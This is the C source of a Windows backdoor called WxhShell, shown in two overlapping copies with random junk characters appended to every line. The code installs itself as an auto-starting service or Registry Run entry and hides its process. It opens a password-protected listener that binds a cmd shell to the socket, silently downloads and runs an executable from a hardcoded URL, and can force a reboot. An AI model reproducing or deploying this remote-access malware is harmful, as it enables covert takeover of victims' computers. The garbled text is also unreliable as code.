    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F4%[R)  
    if(Boot(SHUTDOWN)) s= fKAxH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&##c6\$  
    else { m!g8@YI  
    closesocket(wsh); J|24I4  
    ExitThread(0); iXRt9)MT{  
    } -RQQ|:O$  
    break; P;L Z!I  
    } ;i :wY&  
  // 获取shell Zr;=p"cXr  
  case 's': { Y{|yB  
    CmdShell(wsh); oJT@'{;*z  
    closesocket(wsh); B [ ka@z7  
    ExitThread(0); s.)w A`&&  
    break; T+h{Aeg  
  } %iC63)(M  
  // 退出 y03a\K5[KQ  
  case 'x': { O Zm[i H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D  .R  
    CloseIt(wsh); \#,#_  
    break; "Cj#bUw  
    } i6 ?JX@I  
  // 离开 guXpHF=  
  case 'q': { jgw'MpQm{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]?$y}  
    closesocket(wsh); N-YZ0/c  
    WSACleanup(); 2{Iz  
    exit(1); Sr 4 7u{n  
    break;  89=JC[c  
        } '|N4fbZd  
  } IFofF Xv_  
  } G3^]Wwu  
NOp=/  
  // 提示信息 &(^u19TKl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X]"OW  
} RmV/wY  
  } ,ri--<  
-L?% o_  
  return; aB6LAb2z;T  
} 91d`LsP  
V9+"CB^  
// shell模块句柄 Sc 3M#qm_  
int CmdShell(SOCKET sock) E(+wl  
{ -0WCwv  
STARTUPINFO si; "sX?wTag  
ZeroMemory(&si,sizeof(si)); SJ7=<y}[d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <?Izfl6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~<[5uZIo  
PROCESS_INFORMATION ProcessInfo; KqUSTR1e[  
char cmdline[]="cmd"; |P0L,R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~LW%lMy;^|  
  return 0; NZW)X[nXM  
} :42;c:85  
4qXRDsbCf  
// 自身启动模式 '=G Ce%A  
int StartFromService(void) cYy @  
{ lT!$\E$1   
typedef struct x&oBO{LNK,  
{ ^_h7!=W  
  DWORD ExitStatus; wK`ieHmp  
  DWORD PebBaseAddress; `Mp7 })  
  DWORD AffinityMask; M #=5u`h  
  DWORD BasePriority; ~2DV{dyj  
  ULONG UniqueProcessId; a;T[%'in  
  ULONG InheritedFromUniqueProcessId; y{I[}$k  
}   PROCESS_BASIC_INFORMATION; 8 E+C:"  
[P c[{(  
PROCNTQSIP NtQueryInformationProcess; $SGA60q  
[d~bZS|(T(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Cd{#j<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z "$d5XR  
!Fg4Au  
  HANDLE             hProcess; f3>6:(  
  PROCESS_BASIC_INFORMATION pbi; v:Z4z6M-  
N?{1'=Om  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pW--^aHu  
  if(NULL == hInst ) return 0; 4|41^B5Y  
1 u_2 4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .C;_4jE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n ,:.]3v%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _AB9BQm  
?&<o_/`-H5  
  if (!NtQueryInformationProcess) return 0; c[RL Yu  
a(DZGQ-as  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y{2d4VoW6  
  if(!hProcess) return 0; `CEj 4  
=>z tBw\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <CKmMZ{  
OC>_=i$ '  
  CloseHandle(hProcess); A r7mH4M  
Z t+FRR=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P:, x?T?J^  
if(hProcess==NULL) return 0; T\ }v$A03  
?-::{2O)  
HMODULE hMod; * :tjxC  
char procName[255]; :Ip:sRz  
unsigned long cbNeeded; 46P6Bwobh  
69j~?w)^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &<|-> *v  
FJ(B]n[>  
  CloseHandle(hProcess); oYh<k  
[+MX$y  
if(strstr(procName,"services")) return 1; // 以服务启动 Xz .Y-5)  
$K_YC~  
  return 0; // 注册表启动 2 ssj(Qo  
} fxoi<!|iGY  
Ag4Ga?&8ec  
// 主模块 -6~y$c&c  
int StartWxhshell(LPSTR lpCmdLine) Z'*Z@u3  
{ 7kX$wQZ_  
  SOCKET wsl; YaNH.$.:  
BOOL val=TRUE; #W%)$k c  
  int port=0; L}jF#*Q%  
  struct sockaddr_in door; vG<pc_ak  
?9gTk \s?R  
  if(wscfg.ws_autoins) Install(); %V(N U_o  
uJam $V  
port=atoi(lpCmdLine); mhi90Jc  
pjHRV[`AP  
if(port<=0) port=wscfg.ws_port; v]{uxlh  
o%WjJ~!zL  
  WSADATA data; w0j/\XN 2s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yB4H3Q )  
0 oj{e9h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }\u%)uZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'LbeL1ca  
  door.sin_family = AF_INET; 8hKP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6snOMa GRu  
  door.sin_port = htons(port); ;w6fM  
Gl8&FrR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O%JsUKV  
closesocket(wsl); EwD3d0udL  
return 1; '-PMF~~S  
}  Vp] D  
"rx^M*"  
  if(listen(wsl,2) == INVALID_SOCKET) { ^K.u ~p   
closesocket(wsl); phgexAq  
return 1; 6vgBqn[  
} 8@ %mnyQ  
  Wxhshell(wsl); N=T.l*8  
  WSACleanup(); EY)Gi`lK  
hH1lgc  
return 0; EzIs@}  
2T@L{ql  
} .;HIEj zq  
J}(6>iuQY?  
// 以NT服务方式启动 ;;?vgrz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ```d:f  
{ C1T=O  
DWORD   status = 0; a4T~\\,dZ>  
  DWORD   specificError = 0xfffffff; ?AnjD8i  
2<'`^AO@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e`Co,>W/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ss`P QN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -*|:v67C&  
  serviceStatus.dwWin32ExitCode     = 0; /BMtcCPG!  
  serviceStatus.dwServiceSpecificExitCode = 0; +%Lt".o  
  serviceStatus.dwCheckPoint       = 0; `s`C{|wv  
  serviceStatus.dwWaitHint       = 0; /}w#Jk4pD  
y7JZKtsFA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WgA`kT  
  if (hServiceStatusHandle==0) return; ^Ue0mC7m  
H\fcY p6  
status = GetLastError(); JAlU%n?R  
  if (status!=NO_ERROR) U~*c#U"bh  
{ iUIy,Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @8=vFP'  
    serviceStatus.dwCheckPoint       = 0; g@@&sB-A"  
    serviceStatus.dwWaitHint       = 0; l]_b;iux  
    serviceStatus.dwWin32ExitCode     = status; <Zp^lDxa  
    serviceStatus.dwServiceSpecificExitCode = specificError; Mny'9hsl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0%s3Mp6H  
    return; L`UG=7r q  
  } Q PFeBl  
2'wr={>W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gz>Lqd  
  serviceStatus.dwCheckPoint       = 0; |1(rr%  
  serviceStatus.dwWaitHint       = 0; EJZ@p7*Oj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {J~(#i k   
} g ?afX1Sg  
g .x=pt  
// 处理NT服务事件,比如:启动、停止 2yN%~C?$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a-]hW=[  
{ K1T1@ j  
switch(fdwControl) e(yQKwVD  
{ 1$$37?FE  
case SERVICE_CONTROL_STOP: {ITv&5?>  
  serviceStatus.dwWin32ExitCode = 0; W.A1m4l58R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~{L.f94N  
  serviceStatus.dwCheckPoint   = 0; J3B6X8P'  
  serviceStatus.dwWaitHint     = 0; + <Z+-  
  { Z-)[1+Hs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #B @X  
  } i`prv&  
  return; VpkD'<G  
case SERVICE_CONTROL_PAUSE: aSOU#Csx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NJ ZXs_%>$  
  break; h|bqyu  
case SERVICE_CONTROL_CONTINUE: F`!TV(,bY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c[SU5 66y  
  break; zwK }7h6]  
case SERVICE_CONTROL_INTERROGATE: zKLn!b#>  
  break; NSw<t9Yi  
}; XQ]`&w(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #gh p/YoTq  
} l8z%\p5cR  
6W5d7`A  
// 标准应用程序主函数 Lf >YdD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4s9c#nVlu  
{ YgCc|W3{  
cDCJ]iDs  
// 获取操作系统版本 o2DtCU-A  
OsIsNt=GetOsVer(); ,I]7g4~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v btAq^1  
RCzV5g  
  // 从命令行安装 81Z4>F:  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qi_&aU$>lM  
{  |s/]W  
  // 下载执行文件 >):m-I  
if(wscfg.ws_downexe) { y-'" >  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QwBXlO?  
  WinExec(wscfg.ws_filenam,SW_HIDE); +p3 Z#KoC  
} /Zc#j^_  
lLH$`Wnv  
if(!OsIsNt) { zK=dzoy  
// 如果时win9x,隐藏进程并且设置为注册表启动 ITONpg[f  
HideProc(); 3[VWTq)D=  
StartWxhshell(lpCmdLine); [*<.?9n)or  
} (vKI1^,  
else A8J8u,u9  
  if(StartFromService()) $,TGP+vH  
  // 以服务方式启动 :/B:FY=  
  StartServiceCtrlDispatcher(DispatchTable); {VR`;  
else ( : {"C6x  
  // 普通方式启动 Q:mZ" i5  
  StartWxhshell(lpCmdLine); =yo{[&Jz  
VBM/x|'  
return 0; @%c81rv?  
} j")FaIM  
 l^P#kQA  
GR<c=   
c<?[d!vI  
=========================================== Rp0|zP,5  
! ao6e  
~ FGe ~  
D}w<84qX  
> @+#  
X(]Zr  
" !i^]UN   
}qAVN  
#include <stdio.h> L1wZU,o  
#include <string.h> P.c O6+jGR  
#include <windows.h> H'EY)s Hi  
#include <winsock2.h> ZRnL_ z~  
#include <winsvc.h> pYt/378w  
#include <urlmon.h> QQFf5^  
SG:bM7*1'  
#pragma comment (lib, "Ws2_32.lib") e2c1pgs&+  
#pragma comment (lib, "urlmon.lib") {b1UX9y  
c` , 2h#  
#define MAX_USER   100 // 最大客户端连接数 FI8k;4|V  
#define BUF_SOCK   200 // sock buffer n$4|P O$X  
#define KEY_BUFF   255 // 输入 buffer <c+K3P'3?  
X8b|]Nr  
#define REBOOT     0   // 重启 [SkKz>rC  
#define SHUTDOWN   1   // 关机 qgx?"$ Z  
:6Pnie  
#define DEF_PORT   5000 // 监听端口 =NZ[${7mq  
D<t~e$H  
#define REG_LEN     16   // 注册表键长度 SauH>  
#define SVC_LEN     80   // NT服务名长度 dv , C6t2  
?g3 ]~;#  
// 从dll定义API P? (vW&B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3;-^YG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (bv,02  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hL!QLiF:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zmiZ]uq  
tiYOMA  
// wxhshell配置信息 vZu~LW@1  
struct WSCFG { -f?Ah  
  int ws_port;         // 监听端口 ^,TTwLy- t  
  char ws_passstr[REG_LEN]; // 口令 R-  
  int ws_autoins;       // 安装标记, 1=yes 0=no =1Z;Ma<;  
  char ws_regname[REG_LEN]; // 注册表键名 WhFS2Jl0  
  char ws_svcname[REG_LEN]; // 服务名 rA1q SG~c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *P!s{i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]CX[7Q+'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |CIC$2u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f@@s1gdb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y\'P3ihK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \~#WY5  
EB!daZH,  
}; (?3[3 w~  
SdJ/ 4&{ !  
// default Wxhshell configuration )DT|(^  
struct WSCFG wscfg={DEF_PORT, 9JnY$e<&  
    "xuhuanlingzhe", =X-Tcj?3g  
    1, %WGuy@tL  
    "Wxhshell", ZCYS\E 7X  
    "Wxhshell", &:3Z.G  
            "WxhShell Service", _1L(7|^~y[  
    "Wrsky Windows CmdShell Service", so+4B1$)q  
    "Please Input Your Password: ", >$H|:{D  
  1, `#Kx|x6  
  "http://www.wrsky.com/wxhshell.exe", =P`~t<ajB  
  "Wxhshell.exe" L9FHgl?  
    }; v+=k-;-  
k1='c7s  
// 消息定义模块 pBp #a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +}@ 8p[`)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]]BOk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p!zJ;rh)  
char *msg_ws_ext="\n\rExit."; (qBvoLkF9N  
char *msg_ws_end="\n\rQuit."; ?2#(jZ# 2  
char *msg_ws_boot="\n\rReboot..."; v,OpTu:1  
char *msg_ws_poff="\n\rShutdown..."; l! v!hUb+  
char *msg_ws_down="\n\rSave to "; 1J}8sG2`  
yGj.)$1},@  
char *msg_ws_err="\n\rErr!"; ;%!B[+ut"  
char *msg_ws_ok="\n\rOK!"; Pc_VY>Ty  
XK A pLz  
char ExeFile[MAX_PATH]; vq!uD!lr  
int nUser = 0; 7dOyxr"H-  
HANDLE handles[MAX_USER]; zt=0o| k  
int OsIsNt; %Dig)<yx  
7&B$HZ  
SERVICE_STATUS       serviceStatus; LL*mgTQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bAwl:l\`  
Q_p[k KH  
// 函数声明 %o w^dzW  
int Install(void); p fT60W[m  
int Uninstall(void); A],ooiq<  
int DownloadFile(char *sURL, SOCKET wsh); }uY!(4Rw  
int Boot(int flag); VDbI-P&c  
void HideProc(void); p$E8Bn%[  
int GetOsVer(void); } JiSmi6o  
int Wxhshell(SOCKET wsl); qO@@8/l  
void TalkWithClient(void *cs); ~9\zWRh  
int CmdShell(SOCKET sock); r0]4=6U  
int StartFromService(void); Kw5Lhc1V  
int StartWxhshell(LPSTR lpCmdLine); # 1.YKo  
)G1P^WV4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n_u1&a'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :5fAPK2r<  
l2jF#<S@  
// 数据结构和表定义 ihCIh6  
SERVICE_TABLE_ENTRY DispatchTable[] = !CUoHTmB  
{ )|bC^{kH!l  
{wscfg.ws_svcname, NTServiceMain}, nV_8Ke  
{NULL, NULL} d3;qsUh$yv  
}; V5`^Y=X(%  
&M />tE Z)  
// 自我安装 I+(/TP  
int Install(void) M*eJ JY  
{ eH%RNtP`  
  char svExeFile[MAX_PATH]; OJAIaC\  
  HKEY key; EZDy+6b  
  strcpy(svExeFile,ExeFile); 8, "yNq  
x_#-tB  
// 如果是win9x系统,修改注册表设为自启动 LiQgR 6j  
if(!OsIsNt) { {aYY85j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SHVWwoieT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;gg\;i}^  
  RegCloseKey(key); 13hE}g;.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BB$oq'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?sz)J 3  
  RegCloseKey(key); dt}_D={Be  
  return 0; Zw1U@5}A  
    } M]]pTU((  
  } #/2$+x  
} t2HJsMX  
else { XFVV},V  
tWeFEVg  
// 如果是NT以上系统,安装为系统服务 >slm$~rv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5Por "&%  
if (schSCManager!=0) ]b/S6oc6  
{ 5N[9 vW  
  SC_HANDLE schService = CreateService Z;l`YK^-  
  ( [U@; \V$  
  schSCManager, _ *f  
  wscfg.ws_svcname, ``VW;l{  
  wscfg.ws_svcdisp, @%ip7Y]e  
  SERVICE_ALL_ACCESS, RoGwK*j0+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W,^W^:m-x  
  SERVICE_AUTO_START, LUX*P7*B  
  SERVICE_ERROR_NORMAL, !k3e\v|  
  svExeFile, }~K`/kvs  
  NULL, .xhK'}l[  
  NULL, X1{[}!  
  NULL, B~ S6R  
  NULL, #>=j79~  
  NULL 'G\XXf% J  
  ); gD`>Twa&6  
  if (schService!=0) WYB{% yf   
  { Isy'{ -H  
  CloseServiceHandle(schService); Z/;Xl~  
  CloseServiceHandle(schSCManager); XW{>-PBg:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0& >H^  
  strcat(svExeFile,wscfg.ws_svcname); SP*fv`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v3d&*I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y6i _!z[V[  
  RegCloseKey(key); G7!W{;@I  
  return 0; m %;D  
    } DGW+>\G  
  } &8.NT~"Gg  
  CloseServiceHandle(schSCManager); 05yZad*  
} )SryDRT  
} W&(k!6<x  
!-`Cp3gqHr  
return 1; *]hBGr#6  
} 7 >iU1zy  
m7EcnQf  
// 自我卸载 E%oY7.~-  
int Uninstall(void)  j~j jX  
{ p'7*6bj1  
  HKEY key; e:H26SW  
tCxF~L@  
if(!OsIsNt) { p G1WXbqW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m,C1J%{^  
  RegDeleteValue(key,wscfg.ws_regname); lif&@o f  
  RegCloseKey(key); FR2= las"z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \^I>Q _LU  
  RegDeleteValue(key,wscfg.ws_regname); BH]Ynu&o  
  RegCloseKey(key); akw,P$i  
  return 0; bVP"(H]  
  } STZPYeXE  
} s,#>m*Rh  
} <)+y=m\eJ  
else { +)zOer,  
!EUan  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sf&]u;^DY  
if (schSCManager!=0) V%$/#sza  
{ A_Frk'{qhB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .EM`.  
  if (schService!=0) 8-<:i  
  { 0TpK#OlI|c  
  if(DeleteService(schService)!=0) { qC F5~;7  
  CloseServiceHandle(schService); `u>4\sv  
  CloseServiceHandle(schSCManager); {*{Ox[Nh{  
  return 0; {uzf"%VtP  
  } U9b?i$  
  CloseServiceHandle(schService); ~4"qV_M  
  } WA dCF-S  
  CloseServiceHandle(schSCManager); 4pw6bK,s2\  
} D %Xo&V[  
} quY:pqG38q  
MSf;ZB  
return 1; KYzv$oK  
} F:x [  
.r*2|  
// 从指定url下载文件 z5ij(RE]  
int DownloadFile(char *sURL, SOCKET wsh) H":oNpfb  
{ 2UGsYQn  
  HRESULT hr; 4apL4E"r  
char seps[]= "/"; II6CHjW`;  
char *token; x _c[B4Tw  
char *file; (5]}5W*  
char myURL[MAX_PATH]; cnTaJ/o  
char myFILE[MAX_PATH]; I? ,>DHUX  
I`NjqyTW  
strcpy(myURL,sURL); #g6.Glz3  
  token=strtok(myURL,seps); U&O: _>~  
  while(token!=NULL) e7wSOs  
  { P.gb 1$7<  
    file=token; ]U"94S U:)  
  token=strtok(NULL,seps); 8OgLn?"P  
  } H;RwO@v  
N7e"@Ic  
GetCurrentDirectory(MAX_PATH,myFILE); 03C0L&  
strcat(myFILE, "\\"); ]+X@ 7  
strcat(myFILE, file); s[UHe{^T  
  send(wsh,myFILE,strlen(myFILE),0); / m=HG^!  
send(wsh,"...",3,0); c38D}k^):  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hh+ 2mkg  
  if(hr==S_OK) eM8}X[  
return 0; !qG7V:6  
else j]`PSl+w  
return 1; 1I:+MBGin  
O%bEB g  
} :OuA)f  
eA<0$Gs,h  
// 系统电源模块 ~@}Bi@*  
int Boot(int flag) F w?[lS  
{ `nu''B H  
  HANDLE hToken; FJMrs[  
  TOKEN_PRIVILEGES tkp; \-g)T}g,I  
9 AJ(&qY(  
  if(OsIsNt) { <7~'; K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A}l3cP; `#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WPQ fhr#|  
    tkp.PrivilegeCount = 1; a |X a3E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s7F.sg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4t=G   
if(flag==REBOOT) { PUUwv_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B6={&7U2  
  return 0; uA< n  
} ez| )ph7  
else { ]9^sa-8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~sh`r{0  
  return 0; ?32&]iM oW  
} }~L.qG  
  } E 7{U |\  
  else { H*}y^ )x  
if(flag==REBOOT) { ~A\GT$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) > ;*b|Ik  
  return 0; y+NN< EY@  
} |!4K!_y  
else { o4Om}]Ti  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c24dSNJg,  
  return 0; ln6d<; M5  
} ,5h)x"s  
} I`!<9OTBj  
DW[N|-L  
return 1; Vh4X%b$TV  
} BI%$c~wS  
<J`0  
// win9x进程隐藏模块 .:F%_dS D  
void HideProc(void) %xI p5h]  
{ p;>ec:z3M  
@J/K-.r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XwJ7|cB  
  if ( hKernel != NULL ) "]} bFO7C  
  { oG_~q w|h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WvY? +JXJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %WjXg:R  
    FreeLibrary(hKernel); fbe[@#:  
  } MDnua  
=c\>(2D  
return; (,0(   
} |IzPgC  
8<QdMkI  
// 获取操作系统版本 ;@oN s-  
int GetOsVer(void) &OH={Au  
{ Li4zTR|U  
  OSVERSIONINFO winfo; W:pIPDx1=!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pOIJH =#  
  GetVersionEx(&winfo); cQ R]le %(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k5'Vy8q  
  return 1; p$] 3'jw  
  else o6.^*%kM'  
  return 0; :74y!  
} rX2.i7i,  
(@fHl=! Za  
// 客户端句柄模块 !$gR{XH$]  
int Wxhshell(SOCKET wsl) )"7iJb<E  
{ N 5lDS  
  SOCKET wsh; Pd_U7&w,5  
  struct sockaddr_in client; 9y"@(  
  DWORD myID; i9,ge Q7d  
p8Qk 'F=h  
  while(nUser<MAX_USER) fHx*e'eA  
{ vdc\R?  
  int nSize=sizeof(client); gCB |DY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @niHl  
  if(wsh==INVALID_SOCKET) return 1; Swig;`  
s"r*YlSp"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8p 'L#Q.  
if(handles[nUser]==0) g}1B;zGf  
  closesocket(wsh); V17%=bCZ5[  
else iP ->S\  
  nUser++; r@H /kD  
  } <L8'!q}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;n*.W|Uph  
KPKt^C  
  return 0; -=)H{  
} }C"%p8=HM  
V^bwXr4f  
// 关闭 socket ?BeiY zg  
void CloseIt(SOCKET wsh) p>v$FiV2N  
{ Nk? ^1n$  
closesocket(wsh); ZbW17@b  
nUser--; Y!w`YYKP  
ExitThread(0); ; F"g$_D0  
} *&^Pj%DX  
B" 1c  
// 客户端请求句柄 yg<R=$n,Q  
void TalkWithClient(void *cs) rr],DGg+B]  
{ /~%&vpF-L  
U ]H#MiC!  
  SOCKET wsh=(SOCKET)cs; ) j#`r/  
  char pwd[SVC_LEN]; FpmM63$VN[  
  char cmd[KEY_BUFF]; 2*;~S4 4  
char chr[1]; =(j1rW!  
int i,j; |6sp/38#p  
_)3|f<E_t)  
  while (nUser < MAX_USER) { 823Y\x~>  
Q4#m\KK;i9  
if(wscfg.ws_passstr) { U)] oO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /K@XzwM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;PF<y9M  
  //ZeroMemory(pwd,KEY_BUFF); &R'c.  
      i=0; aFX=C >M  
  while(i<SVC_LEN) { 7W Ly:E"  
uP)'FI  
  // 设置超时 _^Ubs>d=*  
  fd_set FdRead; qd ~BnR$=  
  struct timeval TimeOut; ;#W2|'HD  
  FD_ZERO(&FdRead); p_gm3Q  
  FD_SET(wsh,&FdRead); u5`u>.!  
  TimeOut.tv_sec=8; Q%`@0#"]Sv  
  TimeOut.tv_usec=0; t6 "%3#s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r= `Jn6@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PbJ(:`u  
w e//|fA<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [6Izlh+D  
  pwd=chr[0]; q_[o" wq/  
  if(chr[0]==0xd || chr[0]==0xa) { ]nn98y+  
  pwd=0; !Iy_UfW  
  break; i &nSh ]KK  
  } ]g3JZF-  
  i++; BO?%'\  
    } zZPO&akB"  
:1QI8%L'$i  
  // 如果是非法用户,关闭 socket =7=]{Cx[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uiw2oi&_  
} 3wF;GG  
nfbR P t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GY'%+\*tj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #jvtUS\  
hR?{3d#x2  
while(1) { `,<BCu  
hn G Z=  
  ZeroMemory(cmd,KEY_BUFF); PJ|P1O36a  
me$Z~/Akm  
      // 自动支持客户端 telnet标准   AlaW=leTe  
  j=0;  JYI,N  
  while(j<KEY_BUFF) { {UI+$/v#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N)X3XTY  
  cmd[j]=chr[0]; xef% d G.  
  if(chr[0]==0xa || chr[0]==0xd) { Woy m/[i  
  cmd[j]=0; reu*53r]  
  break; Q~ w|#  
  } 0 1rK8jX  
  j++; Q->sV$^=T  
    } i>`%TW:g  
Naf0)3q>!  
  // 下载文件 (=AWOU+  
  if(strstr(cmd,"http://")) { W:2( .?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kiaw4_  
  if(DownloadFile(cmd,wsh)) Ty?cC**  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z2~ til  
  else *Hn8)x}E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .W%)*&WH\  
  } iOghb*aW  
  else { Rr]H y^w  
tXs\R(?T  
    switch(cmd[0]) { Se}c[|8  
  zY{A'<\O  
